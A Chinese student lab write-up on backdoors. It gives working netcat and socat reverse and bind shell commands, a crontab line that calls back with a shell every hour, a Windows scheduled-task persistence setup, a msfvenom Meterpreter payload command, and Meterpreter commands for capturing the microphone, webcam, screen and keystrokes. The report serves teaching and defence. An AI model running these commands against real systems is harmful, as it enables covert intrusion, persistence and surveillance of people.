20155205 郝博雅 Exp2 后门原理与实践
一、基础问题回答
后门(木马)
- 专用程序
- 投放
- 隐藏(免杀)
- 启动(自启动、绑定)
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:上学期信息安全技术做过一个实验:通过"挂马"网站主页中的 < iframe > 代码链接一个网址(即一个网页木马),在用户访问此网站时,使用户主机自动访问网页木马。网页木马在得到用户连接后,自动发送安装程序给用户。如果用户主机存在MS06014漏洞,则自动下载木马安装程序并在后台运行。还有可能是别人u盘携带了木马,不小心插到自己电脑上就凉凉了。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:在之前实验中,后门是可以把自己的名字改成类似于xindows自身可执行文件的,这样windows就无法发现有木马,然后木马会自动连接服务器启动。还有一种是类似于钓鱼网站一样,你以为点的是普通的页面,其实是伪装后的后门。
(3)Meterpreter有哪些给你映像深刻的功能?
答:监控摄像头让我感觉很可怕,因为之前看到过很多家庭摄像头被控制的案例,没想到自己也能监控别人的摄像头(虽然比较低级),但这个真的让我更加提高了安全意识。
(4)如何发现自己有系统有没有被安装后门?
答:上学期上娄老师的课时学了pid,当时搜到一种方法:通过netstat -anltp命令可查看到当前连接信息及建立连接的进程pid,kill掉可疑连接的进程,且已知进程pid可以执行ls -al /proc/pid值,通过exe对应位置找到后门文件路径。
二、实验准备
Windows获得Linux Shell
- 在win里使用
ipconfig
查看本机的IP地址
- 在win中,输入
ncat.exe -l -p 5205
监听本机5205端口 - 在kali下,输入
nc 172.30.7.113 5205 -e /bin/sh
(使用nc指令的-e选项反向连接Windows主机的5205端口) - 可以看到win下成功获得kali的shell
Linux获得Windows Shell
- 在kali中查看虚拟机的IP地址
这两步和上面的一样,只不过把地址改成了kali的,而且是win反向连接kali
kali获得win的shell:
使用nc传输数据
- win输入
ncat.exe -l 5205
监听端口 - kali输入
nc 172.30.7.113
连接到端口 - 这样就可以传输数据了:
三、实验内容
『使用netcat获取主机操作Shell,cron启动 』
- 在win下输入
ncat.exe -l -p 5205
监听本机5205端口 - 查看
crontab
的帮助文档,知道crontab
指令可以用于设置周期性被执行的指令。 - 使用
crontab -e
指令编辑一条定时任务 - 在最后一行添加
45 * * * * /bin/netcat 172.30.7.113 5205 -e /bin/sh
,在每个小时的第45分钟反向连接Windows主机的5205端口 - 时间到了45分时,获得了kali的shell,可以看到第一行显示了之前我输入但因为时间没到没有显示的
lslsls
。
『使用socat获取主机操作Shell, 任务计划启动 』
在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器
- 在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写
tcp-listen:5215 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5205,同时把cmd.exe的stderr重定向到stdout上: - 创建完成后手动运行任务
在kali下输入
socat - tcp:172.30.7.113:5205
便可获得win的shell:
『使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell 』
- 输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.114 LPORT=5205 -f exe > 20155205_backdoor.exe
生成后门程序:
- 将生成的后门程序传送到windows主机上
- 在Kali上使用
msfconsole
指令进入msf控制台,使用监听模块,设置payload,设置ip地址和端口
- 执行监听,这时要在win中打开后门程序
『使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 』
- 使用
record_mic
指令可以截获一段音频:
- 使用
webcam_snap
指令可以使用摄像头进行拍照:
- 使用
webcam stream
指令可以使用摄像头进行录像:
- 使用
screenshot
指令可以进行截屏:
- 使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录:
四、收获
答:首先我知道了,NAT(自己的虚拟机联)和桥接(自己与别人联,必须得在一个网)的不同,这回终于能把虚拟机ping通了。在进行各种监听的过程中,我的安全防范意识逐步增强,而且我知道了别人是怎么攻击我的,之后我就知道如何来防范不良分子。这次的实验很有趣,收获很大